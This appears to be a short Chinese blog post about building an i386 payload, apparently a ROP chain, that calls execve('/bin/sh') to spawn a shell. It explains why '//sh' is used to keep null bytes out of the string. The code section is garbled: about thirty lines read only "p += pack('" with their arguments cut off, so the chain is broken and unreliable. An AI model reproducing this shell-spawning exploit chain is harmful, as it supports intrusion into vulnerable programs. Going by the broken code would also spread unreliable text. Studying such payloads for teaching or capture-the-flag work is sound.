x86 sys_execve syscall实现

 实现代码如下,有个地方有些迷惑,

  p += '//sh' arch为i386平台,主要是执行execv('/bin/sh',0,0) syscall,'//sh'刚开始没搞清楚为啥这么写,后面gdb才发现i386按四字节寻址,如果写与'/sh',内存内容:0x0068732f,'/bin/sh'会断成'/bin\0/sh',中间有00字符,肯定不能执行。

 p += pack('

    p += pack('

    p += pack('

    p += '/bin'

    p += pack('

    p += pack('

    p += pack('

    p += pack('

    p += '//sh'

    p += pack('

    p += pack('

    p += pack('

    p += pack('

    p += pack('

    p += pack('

    p += pack('

    p += pack('

    p += pack('

    p += pack('

    p += pack('

    p += pack('

    p += pack('

    p += pack('

    p += pack('

    p += pack('

    p += pack('

    p += pack('

    p += pack('

    p += pack('

    p += pack('

    p += pack('

    p += pack('

    p += pack('

    p += pack('

你可能感兴趣的:(x86 sys_execve syscall实现)